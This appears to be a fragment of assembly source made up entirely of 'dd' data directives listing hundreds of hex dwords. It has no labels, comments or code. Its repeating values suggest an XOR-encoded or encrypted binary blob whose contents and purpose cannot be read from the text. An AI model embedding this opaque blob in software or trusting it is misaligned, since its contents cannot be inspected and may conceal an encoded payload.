dd 7623F340h, 63C4BBF1h, 13030DF4h, 0FC2A43C8h, 15662220h
dd 0FA9EF2E4h, 4192849Ch, 40A49A0Ch, 76C5F41Fh, 0FE0EFCF3h
dd 0E99DEE5Eh, 1073F1CDh, 966925C8h, 15661127h, 156698DBh
dd 5788D032h, 2915E445h, 8CACFE26h, 0EDB0E8E5h, 0F7E3C95Ah
dd 0EC61D808h, 9E06C1CDh, 9C0770EBh, 1495F4B7h, 0BE62D3Ah
dd 1A661132h, 156690BEh, 1575AD32h, 0DBE42232h, 0EBA19067h
dd 0BF1BC027h, 0C9CF56Eh, 0CA9F1DC7h, 70E3D7EDh, 51617234h
dd 156CC73Dh, 0A7062232h, 15E81EFBh, 74668832h, 66E8115Ah
dd 1560CB89h, 0CFCF1132h, 156128AFh, 1DC3F1CDh, 1A0625C8h
dd 0AF00CA85h, 7507F1E1h, 1563CD3Dh, 94002232h, 0A42C23DAh
dd 90EBE92Dh, 129C7ED0h, 75B6DDCEh, 1A9E9A54h, 15668BB4h
dd 0C6D94B32h, 35E3AB53h, 1A6E10C1h, 156680BBh, 17EF4B32h
dd 75662232h, 70E3D753h
dd 56617234h, 1569AC52h, 28312232h, 70EC4944h, 240086C9h
dd 0F86546A1h, 1576CADCh, 0A38B1132h, 0E7924A85h, 0C33381E3h
dd 691ECEA9h, 4A3F3080h, 156699DAh, 0FCCB9832h, 61F1825h
dd 0FD2FA346h, 1BB20A4Eh, 0D2ED36DBh, 9D69436Ah, 15661121h
dd 156686DBh, 0ECE80232h, 1123CA0Ah, 56CB8F5Ah, 7D13B1EDh
dd 0A9E82ACEh, 0B0D3DDC7h, 0E961EB3Ah, 2F840DBFh, 0FC0643C8h
dd 15662234h, 5BD8C685h, 0CFED93B8h, 0E0B6BB53h, 0E642A7BBh
dd 759A1933h, 94006AB8h, 74EF97D5h, 1303A7F4h, 1A3516C8h
dd 156685B9h, 156EAD32h, 84292232h, 4CB35E45h, 0BF0EE785h
dd 75A0540Ch, 43F1D0B3h, 0A2692DABh, 0A099E9C5h, 129C4C97h
dd 0F7E3AFCBh, 1A61EB08h, 156685BEh, 156EAD32h, 2CD12232h
dd 5DC1A7EFh, 0C599A62Dh, 17E84B52h, 9E662232h, 1931A9C5h
dd 9C07809Eh, 14956CB7h, 1575CB3Ah, 1D011132h, 0E57A0B96h
dd 0C08EECBFh, 29E01CFEh, 704F048Bh, 80DB0BAAh, 1561BE3Dh
dd 16BAA63Dh, 73061132h, 0E0F6FB3h, 15664DDBh, 0DFBAA132h
dd 0A9CD055Ah, 0D307626Dh, 0EF6021B7h, 198F6435h, 49661132h
dd 0EBF6E5EEh, 0EFD2279Ah, 7D5B153Ch, 0EFF0DF03h, 0B0D377CAh
dd 0ED61BE3Ah, 2F84A7BFh, 1A8F16C8h, 3668832h, 4AE810F6h
dd 3EF52AFEh, 0FF3CBC8Dh, 0C599BEF8h, 16E64B52h, 73662232h
dd 9E00E1B9h, 90EFE9C8h, 1D67B7B6h, 70E3E4CAh, 5361EB34h
dd 156687DBh, 27880032h, 0DAA7178Fh, 25FB3B9Fh, 814D9D9h
dd 0B25C925Ah, 156BCBCEh, 19401132h, 0EF2A93DEh, 6C28FB44h
dd 0EA7D857Dh, 0EF6EB487h, 19E98735h, 1A664432h, 156624B3h
dd 15EA1E32h, 98668832h, 0EF5CA6B7h, 0C599DE35h, 81E398CBh
dd 1A6E89C1h, 156645B4h, 90A0DE32h, 129C1757h, 2E28774h
dd 0FC664432h, 15662220h, 48C34CCBh, 772C9C8Bh, 843C7E1Ch
dd 6653F5E6h, 150E8567h, 0EDF47496h, 1DC3F1CDh, 430625C8h
dd 0A6DAD0B3h, 743FA316h, 2F84C1BFh, 68F25C8h, 0F2661132h
dd 57E064BBh, 0B576FC2Dh, 301AE3C2h, 0F3934726h, 0C5998D2Eh
dd 156655DBh, 0B2DD9132h, 0C010445h, 82D61F6Ah, 0AAB5E0EAh
dd 1E8F51F7h, 0F3661132h, 67BC742Dh, 3EFA5AAh, 90EF539Bh
dd 1D67E2AAh, 1572033Dh, 1A8F4432h, 0DB662232h, 0C825DADFh
dd 0F382CCFAh, 8964865Fh, 90A0C082h, 129C1757h, 156D6174h
dd 0A5C04432h, 6A1342BEh, 727EABACh, 5A0CE090h, 0EA9EB2E6h
dd 0EF6E8787h, 9A697135h, 15668830h, 0D4ED97B8h, 0F7E3AF53h
dd 0FC61EB08h, 1566883Eh, 15926C59h, 0D3D4E9C4h, 25996172h
dd 15460A3Dh, 0FC064432h, 15662226h, 0E27B233Ch, 9075308Ah
dd 0D5A9FA54h, 9E009A87h, 7FC992D7h, 371EFF8Ah, 0C5992559h
dd 156632DBh, 5EC56F32h, 1627E8AAh, 6FDFCF88h, 0A2BA1C50h
dd 89E3982Ah, 0FC6E89C1h, 1566443Ah, 2365FFC6h, 0F952D71Ch
dd 13030DF4h, 752043C8h, 15EA2D64h, 4B661132h, 15669BDBh
dd 159C0A32h, 889DE08Eh, 478BCEA5h, 8C0E6DFCh, 48821597h
dd 45814A53h, 940685FFh, 4064B6D4h, 749ECF28h, 1DC397CDh
dd 0E90616C8h, 0F7E30553h, 7561BE08h, 717ECBB3h, 0AA693F38h
dd 0C599E9E8h, 156656DBh, 0EAD4B832h, 0FBC17DF0h, 8B556701h
dd 8C82A34h, 9C1DE669h, 149599B7h, 1A8FE83Ah, 0D7664432h
dd 77017A7Bh, 80A1EFDBh, 79E629CAh, 9469FE6Fh, 15662232h
dd 1574F853h, 0F91F8832h, 3D0A1964h, 0F840C94Dh, 5EDCD2C1h
dd 899894E3h, 1303C1F4h, 1A2025C8h, 156607B3h, 15776132h
dd 4EC4432h, 78355BC8h, 0ECCAD2BFh, 0E3BEA10Ch, 7DC8DDA1h
dd 0A4445609h, 99694152h, 15668832h, 1572AD68h, 1B0C2232h
dd 2F037215h, 0C3D4B39Dh, 51304168h, 0C4E208E8h, 0EA070455h
dd 0EF6E2D87h, 156EAD35h, 0F0252232h, 6BCA43B9h, 989A0AECh
dd 0EF5CA6B7h, 5E52D35h, 0FC661132h, 15668839h, 16EDD0B4h
dd 0A2A53C36h, 0E033119Bh, 1A0658CDh, 156642B7h, 15EB2D32h
dd 95661132h, 0FC0745F3h, 15664421h, 4A2BFB9Bh, 80C3B4C7h
dd 944CD16Ch, 0A983DEFCh, 9C38D343h, 14959DB7h, 0DED7E83Ah
dd 90A025CEh, 129C2457h, 14E31E74h, 0E0668832h, 6C8CA95Ah
dd 156ECBEDh, 0EF41132h, 2936FB88h, 0A099C9F1h, 129C2A97h
dd 157F943Dh, 97698832h, 15664421h, 15662CDBh, 27675932h
dd 2A989974h, 0E35E437Ah, 9818D501h, 0EF5CF3B7h, 48EE835h
dd 30664432h, 0A9611E46h, 317373A9h, 27DD883Dh, 0F276F11Ah
dd 74387A65h, 20D77152h, 17E28753h, 46664432h, 0C5994369h
dd 1567963Dh, 9C938832h, 1495D4B7h, 0A8E5D73Ah, 129C302Bh
dd 99E38732h, 0FC664432h, 1566223Dh, 0D2E613CCh, 0D0198AC5h
dd 75AD4801h, 0D380E888h, 0EF6074B7h, 7D93DB35h, 0DBD8A46Ch
dd 156FCA52h, 4D951132h, 2D9D7753h, 730801B8h, 0E235E1B3h
dd 98AB9169h, 0B0D37753h, 0FC61BE3Ah, 15662223h, 5C1C075Ah
dd 27276912h, 0D5C7FCB4h, 0D55B33E5h, 90EBE961h, 129CB2D0h
dd 1AB6BBC7h, 15662EB6h, 1561F832h, 49708832h, 0F63524Fh
dd 39E3AB09h, 0FC6E10C1h, 1566883Dh, 877A81BCh, 55F807FCh
dd 0E6BFC6EAh, 0D3131EBDh, 0EF6021B7h, 7D9F6535h, 0D2D74FB5h
dd 1567023Dh, 0EA9E4432h, 0EF6E8787h, 0CEE77135h, 26481533h
dd 9807AC81h, 0EF5CC0B7h, 0DAED7135h, 61E9368Ah, 0C5992526h
dd 15662FDBh, 0FFD0532h, 3162B9C3h, 0F14B872Eh, 90EF141Bh
dd 1D67E202h, 0CDB0BCBh, 1561BE13h, 151EA73Dh, 9E691132h
dd 15668822h, 15664FDBh, 0CC85CF32h, 0E5199645h, 0DCAB80E4h
dd 1303C1F4h, 752125C8h, 0CEE77761h, 1A3DC638h, 7D07BF85h
dd 0F3045C37h, 0B0D3EECEh, 7561723Ah, 95695187h, 15662230h
dd 98074962h, 0EF5C6AB7h, 0C599B835h, 156628DBh, 0BC493E32h
dd 0A039855Ah, 9C656A8Fh, 149516B7h, 1575F83Ah, 53F18832h
dd 4BF2EF5Eh, 0D2C25E38h, 8A1A8219h, 3B3BF031h, 90A0B8D1h
dd 129C2457h, 1E8E7171h, 0B1668832h, 7E1C6CF3h, 55FF23Fh
dd 0AA69DAC9h, 0E4ECD1F8h, 1C902C53h, 68FB048h, 0D661132h
dd 8519EFB9h, 7E134002h, 1479C3E4h, 0DDDF486Dh, 0A099C5B2h
dd 129C4C97h, 156DA93Dh, 138F1132h, 45668832h, 1C17C0F8h
dd 0F7E3AF06h, 0FC61EB08h, 1566883Bh, 48783289h, 38E22496h
dd 0FCB6EEBDh, 15668822h, 841E8319h, 79054258h, 71B36184h
dd 3DA99E95h, 0E65EC1BBh, 0D3932A33h, 0EF6074B7h, 759ACB35h
dd 0EFD822C7h, 350E43C1h, 0FC9A30A5h, 15668839h, 0BFB5E58Fh
dd 98DCD760h, 0FC1568E8h, 1566883Eh, 0C8593DECh, 5BD78A5Eh
dd 0CAD86729h, 1DC33DCDh, 9C6943C8h, 15662239h, 156617DBh
dd 0FC6CA532h, 0FCCA5BA4h, 1566223Bh, 77B29794h, 8C958BFAh
dd 0F7E3C97Ch, 7561D808h, 3FBF9054h, 17E28735h, 42664432h
dd 0C5994369h, 29E398C7h, 756E89C1h, 74B6CF54h, 73949252h
dd 0DCEDC6B3h, 0CDB0B53h, 1561BE13h, 1426A73Dh, 0D3931132h
dd 0EF60EDB7h, 93690735h, 15662226h, 1568983Dh, 1C8F8832h
dd 0C0664432h, 6B8AE332h, 0CD44C42Ch, 15CE8B5Ah, 1D8F24B9h
dd 30662232h, 0C5057563h, 0AC1B620Dh, 72DC451Ah, 156ACB53h
dd 34E51132h, 42E1D77Dh, 203F7732h, 0A09993F7h, 129C1997h
dd 156686DBh, 4A561532h, 7DDAA48Ch, 0A57D9134h, 1A730B59h
dd 15664FBAh, 0AA694232h, 2B990CDh, 740B1D4Eh, 2F84C1BFh
dd 9D6925C8h, 15661123h
dd 156684DBh, 0C68C5932h, 0C3449197h, 191E8D78h, 0FCB6772Ch
dd 15664421h, 0F484A4BEh, 9AC386C1h, 0DA41D29Ah, 578FBA01h
dd 9CC3146Ah, 149555B7h, 90A0743Ah, 129C4257h, 4EA2D71h
dd 75661132h, 156680DBh, 779DBD32h, 8D794087h, 74077136h
dd 4E505D5Ah, 0FC3124D7h, 1566223Bh, 71BC374Ch, 833FBA40h
dd 0E2ED1D7Dh, 0B0D3DD53h, 0FC61EB3Ah, 15668820h, 0CC03649Fh
dd 1D03FBA3h, 0DB8D5600h, 9782FEEh, 90EBBFEFh, 129C18D0h
dd 1560F852h, 71108832h, 627147Ch, 68F43CAh, 35661132h
dd 80791D1Eh, 0ACA2C532h, 79F99D7Fh, 5A0A3B40h, 0C5990EC2h
dd 55E3CDCAh, 756E23C1h, 90A070CBh, 129C8E57h, 1569AD71h
dd 4F422232h, 2A3AA9E9h, 0A85CEBB4h, 3730BF7Fh, 27874A69h
dd 0EA93FB98h, 0EF6E2D87h, 0AA692435h, 0DEDE44FDh, 90EB70BEh
dd 129CB2D0h, 0BDD92252h, 0C59943CCh, 12E31ECBh, 1A668832h
dd 156645B7h, 90EFDA32h, 1D67E27Ah, 70E34EC7h, 5661BE34h
dd 0B9514AC7h, 956995C3h, 15668825h, 156656DBh, 0DBF33732h
dd 80E8FB14h, 3425A7DBh, 0B0FB0BDh, 1A086F9Ch, 156619B6h
dd 17E38732h, 75664432h, 0B0D3DD53h, 0EC61EB3Ah, 0F7E305CAh
dd 7561BE08h, 34309889h, 1563F94Eh, 25F08832h, 7561ACD8h
dd 0EA077B53h, 90EFE4E2h, 1D677B7Eh, 70E382CBh, 5A61D834h
dd 156602DBh, 43DC5C32h, 0DBCD3A71h, 776CBEAEh, 5D7435Ch
dd 6656FD91h, 20F6905Ah, 0CEDF42A5h, 0FC143624h, 15668837h
dd 73FD441Dh, 0A0994356h, 129C1997h, 0F7E305CBh, 7561BE08h
dd 1562A63Dh, 0AB001132h, 0FBDEC477h, 744F2BE7h, 1D8FF2CDh
dd 14661132h, 53714D19h, 9C0531DEh, 149572B7h, 90A0E43Ah
dd 129C8E57h, 8E34B7Dh, 75662232h, 156602DBh, 0F7C45632h
dd 0A849C757h, 85B64CA2h, 2DFBB389h, 6866497Eh, 74ADFB3Dh
dd 7B68205Ah, 0CCED71CBh, 0DA860954h, 0A0992509h, 129C2A97h
dd 1576F952h, 31748832h, 47ECFB60h, 3BB507A7h, 0F635168Bh
dd 1A38B615h, 98078E8Dh, 0EF5CC0B7h, 0C599E835h, 41E301CAh
dd 756E45C1h, 1A8EEB81h, 94661132h, 0B82E6DDCh, 0A3A54BCFh
dd 9B55FD0Fh, 68FC18Eh, 15668832h, 16FA2762h, 0F0058555h
dd 6024A5D9h, 5EDD1F6Bh, 743E86C2h, 1303A7F4h, 0FC2B16C8h
dd 15668821h, 0E715B8B4h, 0DBBDA2F4h, 4E25D8FEh, 27B9BE80h
dd 7D424276h, 0DD515B7Bh, 0B0D3EECEh, 0FC61723Ah, 15664422h
dd 0E8940ABBh, 915D18DCh, 12BE98F2h, 0A1B0803Ah, 2F84A7BFh
dd 9A6916C8h, 15668833h, 1AB6BBCAh, 156623B3h, 90EFE432h
dd 1D677B6Eh, 1576C83Dh, 0FC062232h, 15661135h, 6F7B8F21h
dd 436CF33Ch, 7306436Bh, 0FE80D2B3h, 15669CDBh, 0F99FE32h
dd 0E6C9807Fh, 0D1BD17B7h, 371787C9h, 101AE52Eh, 90A0432Ah
dd 129C1757h, 1A31E87Fh, 156644B3h, 1F8E7C32h, 8C661132h
dd 0BBB2EA1Ah, 0C62C03D9h, 4FB3A8B7h, 58EF7953h, 9A6954C5h
dd 15664425h, 156630DBh, 0E8FFC132h, 0B76C54F1h, 32335824h
dd 0F3F57702h, 0EA02B6E0h, 0EF6E2D87h, 1EE54B35h, 0FC662232h
dd 15661134h, 0CB267CDAh, 90EB7F1Eh, 129C18D0h, 15661EDBh
dd 9FC33032h, 9AE21C12h, 5B8015A3h, 0C51C8670h, 996958CDh
dd 15664433h, 4DE3ABCBh, 0EC6E10C1h, 13030DF4h, 1A3343C8h
dd 15662EBAh, 13E91E32h, 1A668832h, 156644B5h, 38514A32h
dd 92698D29h, 1566882Bh, 156650DBh, 0E5DE432h, 0DEC5EF9Fh
dd 6DE97DDBh, 2D36EBBBh, 9F7A3F3Bh, 0B0D3EE03h, 1A61723Ah
dd 156656B3h, 19EA2D32h, 0FC661132h, 15668835h, 7DD03095h
dd 98157542h, 0EF5CF3B7h, 18E58735h, 0FC664432h, 1566223Ah
dd 0A484A7ACh, 9AB754B2h, 730694CDh, 0D672F2B3h, 1EFDAE54h
dd 90EF7453h, 1D67B752h, 1571AE3Dh, 78F1132h, 30668832h
dd 0FA28869h, 33F9056h, 41E564Bh, 578C8A8Ah, 70E382A9h
dd 5661D834h, 15679E3Dh, 0FC938832h, 15664420h, 33192FBAh
dd 209F04FBh, 6E25457h, 9D0450E3h, 3F0E97DAh, 75B4C4C2h
dd 15669BDBh, 2A12432h, 0AC01576Ah, 1B4E046Ch, 730806C7h
dd 0CBBF0CA3h, 1DED2D53h, 1A661132h, 15668AB5h, 0EA072432h
dd 0EF6E8787h, 6EB1E35h, 75668832h, 15664EDBh, 42187532h
dd 0B02D5FD3h, 46347809h, 90EB256Ch, 129C18D0h, 1576923Dh
dd 75068832h, 1560AC53h, 7EB32232h, 8AB45F44h, 0EA9AE969h
dd 12E24BE2h, 1A662232h, 156610B2h, 90EF7D32h, 1D67B756h
dd 156631DBh, 19C332h, 0B2A953EDh, 0E3B4EBA9h, 959FA4C7h
dd 0CFE2B66h, 13030DF4h, 0E03443C8h, 57D2C85Ah, 0A099E8CFh
dd 129C8097h, 0F7E3C9CEh, 0FC61D808h, 1566113Ah, 7A6059C7h
dd 82FE6C4Dh, 9C9EF2CDh, 0EF7E7CB7h, 0CCE6E835h, 1AE84B14h
dd 0FD662232h, 1566113Bh, 1AE39A40h, 6CCF2A69h, 0D30779D2h
dd 0EF6074B7h, 7D9ECF35h, 0F7FE1DABh, 1562A83Dh, 0A0061132h
dd 1F8FE9EDh, 4B664432h, 0C40C9A1Bh, 11350B1Fh, 0B0D3775Ch
dd 0FC61BE3Ah, 15662234h, 2875810Ah, 90EB9268h, 129C7ED0h
dd 75B6DDCBh, 0A269E1B9h, 90EFE9FDh, 1D67B75Ah, 156EA53Dh
dd 93691132h, 15668830h, 90A02552h, 129C2457h, 138F7175h
dd 46668832h, 0C6E43137h, 0E7ED44AFh, 75A47953h, 0FC0639CFh
dd 15664437h, 0AAC95C6Dh, 1569F933h, 3FC68832h, 83EAB80h
dd 398A8DE7h, 2D7671F3h, 1560617Bh, 94834432h, 30092EC5h
dd 0A099706Ch, 129C8097h, 15664DDBh, 60A4C32h, 8C813FABh
dd 90EB64B8h, 129C7ED0h, 156624DBh, 87E65632h, 0EAD68418h
dd 2E34BE2h, 0FC662232h, 15661120h, 722A9E20h, 299B4C54h
dd 0CF469ECCh, 0D4AB616Ch, 90EFEF85h, 1D67B75Eh, 1567A43Dh
dd 1A931132h, 156680B6h, 17EB4B32h, 75662232h, 70E3D753h
dd 52617234h, 0EB722CCEh, 9469FD94h, 15661133h, 0B0D377CEh
dd 0FC61BE3Ah, 15662226h, 0DCD1F2D1h, 7C8CFBC6h, 0F77AB1D6h
dd 0E481347Dh, 6C87F946h, 2F840DBFh, 108F43C8h, 42662232h
dd 9BE4AFF1h, 15756152h, 7E1D4432h, 5BC8239Eh, 8132EB08h
dd 1BBED903h, 94199A17h, 156DCBFBh, 654F1132h, 0B88C879Ch
dd 5224DA25h, 0C5994349h, 74064152h, 17E8876Ch, 75664432h
dd 1A8F4353h, 20661132h, 5F433AEAh, 0F9A43B3Bh, 0D2ADA343h
dd 90EF946Ah, 1D677B42h, 156650DBh, 0B6ABC832h, 163EA4D2h
dd 391802F1h, 2F619EE9h, 0FBBDC27Bh, 70E3D7EDh, 4A617234h
dd 15664CDBh, 61903132h, 4B3A98C5h, 0E70EE070h, 58FDA62h
dd 0B6662232h, 61378414h, 7DE1D2BAh, 0AA68B619h, 75BE87A4h
dd 8ABFC3B3h, 74938720h, 1DC3F1CDh, 940625C8h, 0BA29FCE3h
dd 74943E2Ch, 2F84C1BFh, 1A0625C8h, 156613BAh, 1A07E832h
dd 156647B0h, 0EAD92D32h, 11EC1E53h, 75668832h, 0EA07B3B9h
dd 9E06DAE2h, 90EF70CCh, 1D677B46h, 0FCD4F652h, 15662223h
dd 2EE0D62Bh, 14B273E9h, 53BA5B34h, 0BCE85499h, 90A070EBh
dd 129C8E57h, 1CE04B7Dh, 75662232h, 15E91EC7h, 74668832h
dd 0E91D7B5Ah, 6D642F5h, 0C4A6018Dh, 0A099E94Ch, 129C4C97h
dd 0E007DA52h, 2F8494BFh, 94068FC8h, 4B5B83C2h, 17E72D12h
dd 9E661132h, 0C599E9F8h, 15664BDBh, 1BD10032h, 69AB7D8h
dd 2909C5DBh, 573A29C2h, 15662EDBh, 30F66B32h, 8273AFD2h
dd 24307CD5h, 0B5E3ABD1h, 756E10C1h, 15E98752h, 1A664432h
dd 156622B5h, 0D7E77032h
dd 43F5DFA9h, 70E38253h, 5261D834h, 1A7CA252h, 15668EBCh
dd 15E14B32h, 74662232h, 7B2A79CAh, 0EA937269h, 0EF6EE187h
dd 1561CB35h, 0C8AA1132h, 5D812F99h, 0F7E3C9EDh, 0FC61D808h
dd 15661121h, 0D7AB2B9Ah, 4A89CB10h, 99E8E155h, 5482D4D4h
dd 0EAF4116Dh, 996924E2h, 15662237h, 7FBE9989h, 0FC890871h
dd 0B1E3CD53h, 1A6E23C1h, 15661BB9h, 9269E832h, 15664432h
dd 0D3077960h, 0EF6074B7h, 0FC9ACF35h, 1566443Dh, 0E79B0C7Dh
dd 61360A52h, 0B43B158Bh, 7DAC93C1h, 0D66006FFh, 0A099E9CAh
dd 129C8097h, 1568CC3Dh, 1C8F2232h, 6B661132h, 67025214h
dd 5AF01D00h, 2F84A7BFh, 1D8F16C8h, 9E668832h, 446CA192h
dd 0EA9AD9B1h, 78E71E2h, 32668832h, 91AE69Ah, 0D017C89h
dd 31B434B8h, 0C1D55F20h, 15EA4B4Bh, 4E662232h, 742DFDB2h
dd 0E6CE0DBBh, 97694C33h, 15662222h, 15661ADBh, 4CA79F32h
dd 98249849h, 7C9C8340h, 130394F4h, 0FC398FC8h, 15664434h
dd 3E01550Bh, 0D90E6241h, 1AB23352h, 156645BBh, 0A099DB32h
dd 129C1997h, 0F7E305CBh, 1A61BE08h, 156628B6h, 74067132h
dd 1566063Dh, 0EA074432h, 1560CBE2h, 0A1101132h, 0FED8E2DDh
dd 0E61EC1BBh, 198F2A33h, 0E5661132h, 0CB414BBCh, 0B155B9FBh
dd 0D3CAC83Eh, 0EF6074B7h, 9569D735h, 15664433h, 41284ACAh
dd 92698FDBh, 15668820h, 237CFE52h, 108E00B0h, 34661132h
dd 0B4EB037Ch, 9D692569h, 15662226h, 2ADF7752h, 156F6134h
dd 8FBC4432h, 0A353227Bh, 74D159FDh, 1DC33DCDh, 989F43C8h
dd 0EF5CC0B7h, 14EB1E35h, 0E9668832h, 0F3B6FE52h, 0EA073090h
dd 0A26971E2h, 3A8809C8h, 7454969Ch, 0E61AA7BBh, 9B691933h
dd 15668833h, 70E382CAh, 4A61D834h, 3D2E79CAh, 188F5921h
dd 40664432h, 18A61529h, 6F391D75h, 255103FAh, 156ECC3Dh
dd 90692232h, 15661130h, 0A099E952h, 129C4C97h, 0F7E3AFC7h
dd 1A61EB08h, 156689B9h, 0C599B832h, 0C2E74452h, 68E94A8h
dd 0DA668832h, 0E4737522h, 123BB108h, 0D62BE445h, 0EC268DEh
dd 9769CD76h, 15662232h, 90EF706Ah, 1D677BB2h, 10E14B52h
dd 0AD662232h, 2727C2AEh, 1A62E253h, 156645B2h, 188FD732h
dd 0D3661132h, 0E2C48D9Ch, 8C3CF6C5h, 9B52FA75h, 1576115Ah
dd 7D937432h, 15665432h, 74B1A852h, 95691158h, 15668825h
dd 156656DBh, 0D3474A32h, 861DC7C7h, 0DB65FDBEh, 32DF4A16h
dd 0EAC86296h, 0EF6D94A7h, 15696135h, 1014432h, 7B458B9Ah
dd 0E3F00F93h, 13FB70A3h, 90E3CD91h, 0ED61D825h, 156618DBh
dd 7B5EC732h, 4A146FDAh, 90EB98B2h, 1D674CE7h, 15668FDBh
dd 0C77E5B32h, 0ACC5D6CBh, 75B6EECBh, 7F070785h, 12E54B36h
dd 1A662232h, 156610B4h, 150E7132h, 0ED664422h, 1546225Ah
dd 0DEC1E32h, 75668832h, 15664FDBh, 2FEBB832h, 8CEDCB35h
dd 35D1FC04h, 1566C43Dh, 7F072232h, 1560F832h, 5878832h
dd 25018241h, 1EE3B7CDh, 9C9F16C8h, 0EF6161B7h, 156DAD35h
dd 1A5B2232h, 0D5F17931h, 44F05B1Fh, 1577AD45h, 9CCB2232h
dd 0CE485478h, 583A8E1Eh, 6F5E8F76h, 9C96E029h, 0EF6410B7h
dd 73067435h, 24768CB3h, 2F345D8Bh, 550C7008h, 156681DBh
dd 0A2E4F532h, 57C86F5Ch, 150EBF85h, 1A668822h, 15664BB8h
dd 156CCB32h, 3D501132h, 0F09F6DABh, 8D50A2Bh, 1466225Ah
dd 1563F832h, 59058832h, 7F8FC0B0h, 4E62D32h, 1A661132h
dd 156683BFh, 1560AD32h, 44EE2232h, 8CB72FC3h, 1EE31DCDh
dd 108F43C8h, 43662232h, 0DB827DEBh, 0B7B0DBBh, 128F43C8h
dd 7A662232h, 0C8D3EEE9h, 0A0EDE1E8h, 129C621Fh, 1567AB3Dh
dd 0E99F1132h, 3E315B9h, 9E6943C8h, 15662233h, 0ECD398CAh
dd 1A617211h, 156645B7h, 88EFDB32h, 129C171Bh, 157F093Dh
dd 18F4432h, 0BD662232h, 787FD388h, 0A08074D9h, 0AF286ABCh
dd 6336AF1Ah, 9EBF5BE7h, 0EF700DAFh, 0AD36B835h, 15662232h
dd 6A29FF37h, 38BE892Bh, 0C190BDCh, 1A3E2AB9h, 156606BCh
dd 15746132h, 7C6C4432h, 0FD5543F6h, 9992D584h, 0DF466D6h
dd 37F1BEFDh, 159FA1CEh, 2CBC953Dh, 75068832h, 3E82E78Ah
dd 80709C31h, 0AF076E65h, 628EC68h, 0F3EF1253h, 1562E4B3h
dd 0FBE71132h, 15668836h, 494270B5h, 0E04226BBh, 10869862h
dd 15668836h, 1566401Fh, 3162A532h, 316A986Eh, 0E5D98752h
dd 15664ADAh, 0DE372032h, 97B5C845h, 494864A3h, 75A86CE7h
dd 75077D53h, 1561963Dh, 93698832h, 15664433h, 0ECA613CEh
dd 2B94BBh, 9C698FC8h, 1566443Fh, 15662ADBh, 0D9117932h
dd 92688212h, 118AC72Eh, 7D420EBBh, 1C0575A8h, 0F6AB096Fh
dd 9405FD7Fh, 0EE0B9DDFh, 48889859h, 13E08752h, 1A664432h
dd 156622B5h, 0D7ED7732h, 15766153h, 0DD7A4432h, 6A671D3Fh
dd 46B03B8h, 15D1DC49h, 0FBE78E61h, 759479D9h, 35426531h
dd 4E8D3765h, 0EB6724C0h, 14E02D6Dh, 0ED661132h, 1A062554h
dd 15664BBFh, 156CCB32h, 66561132h, 0E9C3BAD4h, 1D5B4D2Ah
dd 7490953Dh, 4776B337h, 616D8D7Ch, 51653E48h, 1E4B0216h
dd 381C6B46h, 5B349890h, 15664ADBh, 88C02F32h, 0ECAE49A6h
dd 4D111C10h, 0EAF078E7h, 21ED5A42h, 11A29216h, 92D9DFCEh
dd 3C06CD0Dh, 61657DCCh, 0D3E73116h, 75EFB7B5h, 15664BDBh
dd 8EE87A32h, 7270DED6h, 0ED9155F2h, 0A6298121h, 9E7E54CDh
dd 0D1E7350Eh, 15668836h, 4195C552h, 1A40EEEEh, 156613B1h
dd 7407E832h, 397FF9BBh, 1C8F25C8h, 0F9661132h, 0A9913991h
dd 7CE51B59h, 0EAE34352h, 154D943Dh, 198F8832h, 0E6664432h
dd 4807A49Fh, 763FC8AFh, 0FD4226C5h, 15662567h, 1053CBC7h
dd 98691132h, 15668833h, 17E94BCBh, 75662232h, 0F0EF4453h
dd 15624DB3h, 0F8E54432h, 314AA536h, 316A986Eh, 124E0CBh
dd 29EF4432h, 1A067816h, 156612B0h, 0EFD18732h, 11B42F53h
dd 156631DBh, 0A123C932h, 0C164C206h, 49FC9BBCh, 80682AB3h
dd 5CDA0C5Bh, 156A023Dh, 90694432h, 15662234h, 15669B3Dh
dd 80EF8832h, 129C6DD3h, 1561A33Dh, 97691132h, 15668833h
dd 75622ECAh, 1AA5A954h, 7D07C785h, 15669832h, 156FC93Dh
dd 0EC062232h, 97F1C6B3h, 0FC07FA50h, 15664439h, 95B28E82h
dd 19EEF7EBh, 7D5F6FBCh, 15666828h, 754236BBh, 0AD004F63h
dd 1A0713EAh, 156657B1h, 1568CB32h, 0CE761132h, 1BA449CCh
dd 5754FDh, 48F518C3h, 0EA9F1158h, 0EF6D0DA7h, 19E44B35h
dd 0FC662232h, 15661135h, 6DB9F461h, 9C42B6CBh, 0EF738FB7h
dd 156CF835h, 5BE88832h, 8BF58968h, 661495D4h, 45A59861h
dd 0D7EF50BBh, 95691F6Ah, 1566223Bh, 0AD077152h, 5A6D30D3h
dd 3152BB53h, 11A2A16Bh, 754DF9CEh, 73068832h, 0E502A6B3h
dd 80B0A252h, 7407C0B9h, 94870163h, 156640F3h, 118FA332h
dd 92661132h, 9C3AAC3Eh, 44066006h, 1566A33Dh, 943E1132h
dd 0E10F8D2h, 0ECCB2543h, 2B700437h, 4E8C1461h, 5165B3FAh
dd 0FF4B6016h, 385DEA69h, 46580714h, 156682DBh, 0CB96B332h
dd 41D2076Eh, 2464A74Ch, 24A1B9CAh, 18E14BCAh, 0FC662232h
dd 1566113Ah, 550F662Fh, 7D1160CFh, 314AA365h, 6782076Fh
dd 94DBDD69h, 9415877Ah, 35ABFEF7h, 488D10CDh, 156687DBh
dd 1371C132h, 72DBE6F7h, 945DE5C3h, 1974AB5Fh, 9480CD64h
dd 156626F4h, 11889032h
dd 92668832h, 9C3A6006h, 128F060Eh, 1A661132h, 0EA471B6Ch
dd 94695789h, 1566222Dh, 157F923Dh, 18F8832h, 89664432h
dd 162B975Dh, 6D50E414h, 0F4CD0A4h, 81C45438h, 25268BC5h
dd 4E31EF2h, 1A668832h, 15664FB6h, 1560CB32h, 14731132h
dd 0F0C8EE47h, 0FC9B319Ch, 15662238h, 0F5648F65h, 874D4028h
dd 1A066321h, 0A269E58Dh, 219970E8h, 0D1E7D616h, 15664436h
dd 1569AD3Dh, 1F8F1132h, 0F4668832h, 1E6FDADEh, 81F22B23h
dd 0EB8990C3h, 3C369950h, 0EBDB11EDh, 14363350h, 94694CDDh
dd 1566883Ch, 15664DDBh, 0A6F83432h, 9851CFDFh, 9C30FEA7h
dd 11A0C5D4h, 94662232h, 156615DCh, 31520F32h, 3172CD6Eh
dd 1576A13Dh, 0FD061132h, 1566883Ah, 8D41E908h, 0C5E1704Eh
dd 0F9E5706Ah, 315A0136h, 83DD2468h, 1A7D7908h, 9E07E28Dh
dd 0EF710D8Fh, 5EA4B35h, 0FC662232h, 15661139h, 0A8F51276h
